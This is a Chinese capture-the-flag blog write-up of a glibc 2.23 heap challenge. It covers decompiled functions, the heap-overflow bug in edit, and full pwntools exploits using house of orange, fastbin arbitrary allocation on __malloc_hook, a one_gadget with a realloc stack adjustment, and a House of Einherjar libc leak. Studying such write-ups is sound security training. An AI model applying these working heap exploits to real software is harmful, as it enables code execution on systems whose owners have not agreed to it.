House_of_Einherjar

D0wnBe@t Lv4

前引

前置知识可以参考我在notion做的笔记:https://plastic-tire-e58.notion.site/House-of-Einherjar-1a9ca45ea8a4803d9d87fda6b6413462

这里就讲例题,建议先看前置知识

例题

CTFhub上的house of Einherjar,只打了本地,题目附件:
链接: https://pan.baidu.com/s/1GCWm8ygbHHSN5glmPbGXTg?pwd=down 提取码: down

建议先patchelf,用的是Glibc2.23-0ubuntu11.3_amd64

漏洞分析

首页还是一个简单堆,来看看各个部分在干什么

  • add

这个地方漏洞点还是很明显的,没有对输入的size进行检查,而且还可以申请很多chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int add()
{
int result; // eax
int v1; // [rsp+Ch] [rbp-14h] BYREF
int v2; // [rsp+10h] [rbp-10h] BYREF
int v3; // [rsp+14h] [rbp-Ch]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
printf("Give me a book ID: ");
__isoc99_scanf(&unk_10C8, &v2);
printf("how long: ");
__isoc99_scanf(&unk_10C8, &v1);
result = v2;
if ( v2 >= 0 )
{
result = v2;
if ( v2 <= 0x31 )
{
if ( v1 < 0 )
{
return puts("too large!");
}
else
{
v3 = v2;
chunk[v3] = malloc(v1); // size没有检查
size[v3] = v1;
return puts("Done!\n");
}
}
}
return result;
}
  • delete

对free掉的指针进行了清零,所以我们不能用UAF了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 delete()
{
unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
v1 = 0;
puts("Which one to throw?");
__isoc99_scanf(&unk_10C8, &v1);
if ( v1 <= 0x32 )
{
free(chunk[v1]);
chunk[v1] = 0LL;
return puts("Done!\n");
}
else
{
return puts("Wrong!\n");
}
}
  • show

就是正常的输出,可以泄露libc

1
2
3
4
5
6
7
8
9
10
11
unsigned __int64 show()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Which book do you want to show?");
__isoc99_scanf(&unk_10C8, &v1);
printf("Content: %s", chunk[v1]);
return __readfsqword(0x28u) ^ v2;
}
  • edit

一眼就可以看到有个off by one,但是仔细观察可以发现,v2的取值依赖于上一次进入该函数的chunk的size,也就是说,只要上一个进入该函数的chunk的size比现在进入该函数的chunk的size大,那么就可以造成堆溢出,任意改内容,off by one的漏洞其实就被忽略了,因为我们实际溢出的范围大多了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int edit()
{
int v1; // [rsp+0h] [rbp-10h] BYREF
int v2; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
v2 = size[v1]; // 用的是上一次进入该函数的chunk的size
printf("Which book to write?");
__isoc99_scanf(&unk_10C8, &v1);
if ( chunk[v1] )
{
printf("Content: ");
read(0, chunk[v1], (v2 + 1)); // off by one
return puts("Done!\n");
}
else
{
printf("wrong!");
return 0;
}
}

总结

漏洞点其实还是很明显的,在edit函数里面,只要上一个进入该函数的chunk的size较大,那么我们就可以造成堆溢出,而且edit函数还可以无限次利用,很爽🥰🥰。

即使题目不能用UAF,但是我们还是可以溢出改写freechunk,因此该题目其实有两种方法

house of orangehouse of Einherjar,下面都讲一下:

house of orange

可以参考这篇文章先:http://downbeat.top/2025/03/07/2024ciscn-PWN%E5%A4%8D%E7%8E%B0/

这题目的手法可以说一模一样,区别于最后调用ogg那里要结合realloc改一改

由于我们任意改的前提是上一次进入edit的chunk的size要大于当前的chunk的size,那么我们可以一直利用edit来实现我们想要写入的size,下面直接见EXP吧(关于realloc在EXP后面说):

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *
def bug():
gdb.attach(p)
pause()

def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def ia():
p.interactive()

sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))

context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.terminal=["cmd.exe","/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"] # wsl
file = "./pwn"
libc = "/home/downbeat/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64//libc.so.6"


p = process(file)
elf = ELF(file)
libc = ELF(libc)

def choice(idx):
sla("Your choice: ",str(idx))

def add(idx, size ):
choice(1)
sla("ID: ",str(idx))
sla("long: ",str(size))

def show(idx):
choice(2)
sla("show?",str(idx))

def free(idx):
choice(3)
sla("throw?\n",str(idx))

def edit(idx,content='a'):
choice(4)
sla("write?",str(idx))
sla("Content: ",content)

# house of orange泄露libc基地址
add(0,0x100) # 多次利用该chunk的size
add(1,0x18)
edit(0)
edit(1,cyclic(0x18) + p64(0xfe1-0x110)) # 此时修改的size是由size[0]决定,也就是0x30
add(2,0x1000) # house of orange泄露libc
add(3,0x20)
show(3)
ru("Content: ")
libc.address = u64(p.recv(6) + b'\x00\x00') - 0x3c5188 # 动调看固定偏移
lg("libc.address: ",libc.address)
ogg = [0x4527a , 0xf03a4 , 0xf1247]

# 其实可以直接打Arbitrary alloc
# 即使free之后将指针清零,但是我们还是可以通过堆溢出修改fastbin中chunk->fd

add(4,0x68)
free(4)
edit(0) # 将下次edit的size控制为chunk[0]的size
malloc_hook = libc.sym['__malloc_hook']
realloc = libc.sym['realloc']
lg("malloc_hook: ",malloc_hook)
lg("realloc: ",realloc)

fake_chunk = malloc_hook - 0x23
payload = cyclic(0x20) + p64(0) + p64(0x71) + p64(fake_chunk) # 此时size为chunk[0]的size
edit(3,payload) # 下一次edit就是chunk[3]的size,只有0x20
add(5,0x68)
add(6,0x68)
# bug()
edit(0) # 下次又是chunk[0]的size了
payload = cyclic(0xb) + p64(ogg[0] + libc.address) + p64(realloc+12) # 也要动态调试
edit(6,payload)

choice(1)
sla("ID: ",str(8))
sla("long: ",str(0x100))

ia()
  • 这里简单说一下realloc

由于ogg的实现是有条件的,有时候我们直接修改malloc_hook为ogg有时候栈上的结构并不能满足ogg的要求,这时候我们就要修改realloc__hook为ogg,然后改malloc_hook为realloc+n。

这样改的目的是在调用malloc的时候,会去调用realloc,然后realloc又会调用realloc_hook,再到ogg

1
malloc -> malloc_hook -> realloc -> realloc_hook -> ogg

至于为什么+n,我们来看看realloc函数:

image-20250310201636721

可以发现,这里有很多push的操作,借用这些操作我们可以调整栈结构,找到合适的+n就可以满足ogg的条件,从而get shell,来看看实现吧

  • malloc -> malloc_hook -> realloc

image-20250310201855549

  • realloc->realloc_hook->ogg

这里有一个rsp-0x38的操作,第一个ogg执行的条件是[rsp+0x30]=NULL,看第二张图片,可以我们只要push一次,然后rsp-0x38就可以使得该条件成立,然后call rax执行ogg的时候就可以get shell了。

image-20250310202329091

image-20250310202358528

  • 看看执行:

image-20250310202643145

house of Einherjar

  • 就简单讲一下泄露libc的方法吧,后面的攻击手法还是一样的,Arbitrary_alloc+realloc调整
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
add(0,0xf0)
add(1,0x68)
add(2,0xf0)
add(3,0x68)
free(0)
payload = cyclic(0x60) + p64(0x170) + p64(0x100)
edit(1,payload)

free(2) # house of einherjar,会合并前面的chunk
add(0,0xf0)
show(0)
main_arena = l64() - 0x58
malloc_hook = main_arena - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
lg("libc.address: ",libc.address)

如上面所示,申请四个chunk,第四个防止合并top chunk,用chunk2来向下合并,chunk1来泄露libc。

原理其实是堆堆叠,正常溢出修改prev_size为前两个chunk size的和,然后修改size的p位即可,由于用 off by one的时候会造成换行符的覆盖,所以就没用off by one了。

然后free(2)就会使得chunk2向下合并,再次malloc(chunk0->size),那么原先chunk1的user_data就会有着main_arena+88,然后直接show出来即可,就获得libc了

这种方法比较巧妙,也算是house of Einherjar的利用,但是由于题目比较简单,因此方法挺多的,就不多赘述了

  • 标题: House_of_Einherjar
  • 作者: D0wnBe@t
  • 创建于 : 2025-03-10 19:35:01
  • 更新于 : 2025-03-10 21:35:48
  • 链接: http://downbeat.top/2025/03/10/House-of-Einherjar/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论